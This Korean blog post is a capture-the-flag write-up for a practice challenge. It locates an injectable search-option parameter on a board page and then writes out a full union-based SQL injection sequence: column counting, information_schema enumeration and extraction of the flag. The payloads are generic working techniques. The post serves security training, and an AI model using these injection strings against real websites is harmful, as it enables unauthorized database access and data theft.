ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection Advanced - SQL Injection Point 2
    wargame/segfault 2024. 6. 17. 10:49

     

    목표

    주어진 url에서 sqli point를 찾은 후 sqli을 통해 flag를 찾아라!

     


    웹사이트 분석

    2024.06.17 - [wargame/segfault] - SQL Injection Advanced - SQL Injection Point 1

     

    SQL Injection Advanced - SQL Injection Point 1

    목표사이트 내에 SQL Injection이 가능한 곳이 있다. 그곳을 찾아내서 SQL injection으로 flag를 찾아내라  웹사이트 분석 - 회원가입, 로그인`/sqli_6/`에 get으로 처음 접근하면 200 상태코드를 반환하며, P

    inthewhiteshadow.tistory.com

    위의 글에서 같은 웹사이트이므로 회원가입, 로그인, 마이페이지, index.php 등 기본적인 부분은 설명을 생략한다. 그리고 이전과 동일하게 `id: shadow`로 회원가입해서 진행한다. 또한 로그인 시에 1번 문제와 달리 Cookie에 `user=shadow`를 담아 페이지에 이동하지는 않고 마이페이지에서의 취약점 또한 존재하지 않는다.

     


     

    /sqil_7

     

    메인 페이지는 다음과 같다. 이제 `게시판`버튼을 눌러 이동해보겠다.

     


     

    /sqil_7/notice_list.php

     

    `sqli_7/notice_list.php`에 보내는 Get Request에는 Cookie에 PHPSESSID를 담아 보내는 것 외에 특별한 점은 없다. Response에서 확인 가능한 페이지 구성은 다음과 같다.

    /sqil_7/notice_list.php

     

    글 검색하는 form에서는 option이 3개 존재한다. `username, title, content`

    그리고 `board_result`에 쓴 내용이 담겨져 검색된다. 아래에 날짜 검색도 존재하지만 현재 동작하지는 않는다.

    /sqil_7/notice_list.php

     

    검색한 글이 존재하면 `<tbody></tbody>`에 담겨져있다. 지금은 아무 글도 작성하지 않아 비어있다. 그리고 `글쓰기`버튼을 누르면 `notice_write.php`로 이동하여 글을 작성할 수 있다. 가장 아래에 보이는 form의 `input`들은 페이지네이션인데, 지금 작성된 글들(다른 아이디들과 다 통합)이 다 포함되어서 페이지 표시가 되어있다. 클릭하면 지금 페이지에 post method로 `page=1`을 전송하여 그 페이지를 보여준다.

    `글쓰기`버튼을 눌러 글을 작성해보겠다.

     


     

    /sqil_7/notice_write.php

     

    /sqil_7/notice_write.php

     

    Response에 파일업로드시 확장자를 검사하는 script가 존재하지만 아래에 파일 업로드 input이 주석처리되어 있으므로, 현재 미사용되고 있다.

    /sqil_7/notice_write.php

     

    그렇기에 지금 사용가능한 input과 함께 form을 알아보겠다.

    `create`버튼을 누르면 `create_title과 create_body`에 제목과 내용이 담겨져, `onsubmit`의 함수가 실행되고 항상 `true`이므로 `notice_write_process.php`에 post 요청을 보내게 된다.

    그럼 글을 작성해보겠다.

     


     

    /sqil_7/notice_write.php

     

    `create` 버튼을 눌러 전송한다. 아래는 `/sqli_7/notice_write_process.php`로 보내는 요청들이다.

     


     

     

    /sqil_7/notice_write_process.php
    /sqli_7/notice_write_process.php 요청
    /sqli_7/notice_write_process.php 응답

    `alert`창이 뜬 후에 위치가 글 목록이 보이는 `notice_list.php`로 이동한다.

     


     

     

    /sqli_7/notice_list.php
    /sqli_7/notice_list.php

     

    아까 비어있던 `<tbody></tbody>`에 내가 쓴 글의 `User ID, Title` 등이 담겨져 있다. 이때 `Title`은 링크로 되어 있어 그 글의 상세보기로 이동한다. 클릭해서 이동해보겠다.

     


     

     

    /sqli_7/notice_read.php

     

    get method로 `id=174&view=1`을 담아 요청을 보낸다.

     

    /sqli_7/notice_read.php

     

    제목과 글 내용을 보여준다. 그리고 지금 여기서는 사용되지 않는 '글 좋아요 누르기 기능'과 '좋아요 카운트'의 형태가 있다.

    /sqli_7/notice_read.php

     

    그리고 그 아래에 `공지사항, 수정, 삭제`버튼들이 존재하고 그것들을 누르면 특정 기능을 하는 페이지로 이동한다. `수정, 삭제` 버튼들은 `id`를 get 방식으로 전달한다.

     


     

     

    글 검색 기능을 살펴보도록 하겠다.

    /sqli_7/notice_list.php

     

    `작성자`로 `sha`를 검색해보겠다. 검색 기능에는 `like 연산자`를 사용할 가능성이 높기 때문에 내 아이디의 일부만 검색하여 `like 연산자`가 sql문에 사용되었는지를 확인한다.

    /sqli_7/notice_list.php 요청과 응답

     

    `option_val=username&board_result=sha`이 담겨져 보내졌는데도 정상적으로 글 목록이 출력이 되었다.

    따라서  추정 sql문은 다음과 같다.

    $sql = "SELECT * from board WHERE username like '%___%'"

     

    `WHERE문의 column`은 검색할때의 옵션마다 바뀔 것이다.

    이제 SQL Injection이 가능한지 테스트를 해보겠다.

     


     

    SQL Injection Point 찾기

    위의 sql문이 맞다고 가정하고 검색어에 `sha%' and '1%'='1`을 넣어 sqli가 가능한지 확인해보겠다. 넣으면 아래와 같다.

    $sql = "SELECT * from board WHERE username like '%sha%' and '1%'='1%'"

     

    `sha%' and '1%'='1`이 유효하다면 `sha`를 넣어 작성자 검색을 했을 때와 동일하게 나와야 한다. 다음은 Repeater로 진행한다.


    /sqli_7/notice_list.php post 요청과 응답

     

    그러나 sql 질의에 실패하였는지 글 목록이 정상적으로 출력되지 않았다. 따라서 앞서 가정한 sql 질의문이 틀렸거나 sqli가 불가능하다. 그렇기에 sql 질의문에 쓰이는 다른 파라미터를 조작해보겠다. `WHERE문의 column`인 `username`을 변화시켜본다.


    `username` 대신 `1=1 and username`을 넣어본다. `username`뒤에 `like연산자`가 무조건 있어야 하기 때문이다. 그러면 sql문은 아래와 같이 완성된다.

    $sql = "SELECT * from board WHERE 1=1 and username like '%sha%'"

     

    /sqli_7/notice_list.php post 요청과 응답

     

    정상적으로 글 목록이 출력되었다. 

     

    거짓을 의도했을 때는 글이 존재하지 않는 것을 알 수 있다. 따라서 SQL Injection이 가능하다.

     

    여기서는 참과 거짓을 판별할 수 있기때문에 물론 Blind SQL Injection도 가능하지만, sql 질의 결과가 목록에 출력되므로 Union SQL Injection을 사용하는 것이 더 효율적일 것이다. 다만 검색옵션의 값을 변경해야하기때문에 브라우저로 요청을 보낼 수는 없고 Burp Suite의 Repeater를 이용하여 값을 바꿔 보낼 것이다.

     

     

     


     

    Union SQL Injection

    1. Column 개수 찾기

    `option_val`을 `username like '%shadow%' order by 10 #` 을 삽입하여 전송한다. 그러면 sql문은 아래와 같이 된다.

    $sql = "SELECT * from board WHERE username like '%shadow%' order by 10 # like '%sha%'"

     

    존재한다.

     

    `option_val`을 `username like '%shadow%' order by 11 #` 을 삽입하여 전송한다.

     

    존재하지 않는다. 따라서 해당 SELECT문에 쓰인 Column 개수는 10개이다.

     

    Column 개수 : 10개

     


     

    2. 출력되는 Column 위치 찾기

    `username like '%shadow%' union select 1,2,3,4,5,6,7,8,9,10 #` 을 담아 전송한다.

     

    `column의 1,2,3,4`가 출력되고 있는 것을 알 수 있다. 따라서 나는 `column 1`을 사용하도록 하겠다.


    3. Database 이름 찾기

    `username like '%shadow%' union select database(),2,3,4,5,6,7,8,9,10 #` 을 담아 전송한다.

     

    Database 이름 : `sqli_7`

     


     

    4. Table 이름 찾기

    `username like '%shadow%' union select table_name,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema='sqli_7' #` 을 담아 전송한다.

     

    Table names: board, flagTable, member

     

    우리는 `flagTable`을 사용한다.

     


     

    5. Column 이름 찾기

    `username like '%shadow%' union select column_name,2,3,4,5,6,7,8,9,10 from information_schema.columns where table_name='flagTable' #` 을 담아 전송한다.

     

    flagTable의 columns : idx, flag

     

    이제 flag가 담겨있는 `table`과 `column`도 알았으니 flag를 획득할 수 있다.

     


     

    6. Data 출력

    `username like '%shadow%' union select flag,2,3,4,5,6,7,8,9,10 from flagTable #` 을 담아 전송한다.

     

    세번째에서 flag를 획득했다!!!

     

     

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection Advanced - SQL Injection Point 1  (0) 2024.06.17
    SQL Injection - 6  (0) 2024.06.17
    SQL Injection - 5  (0) 2024.06.17
    SQL Injection - 4  (0) 2024.06.17
    SQL Injection - 3  (0) 2024.06.17
Designed by Tistory.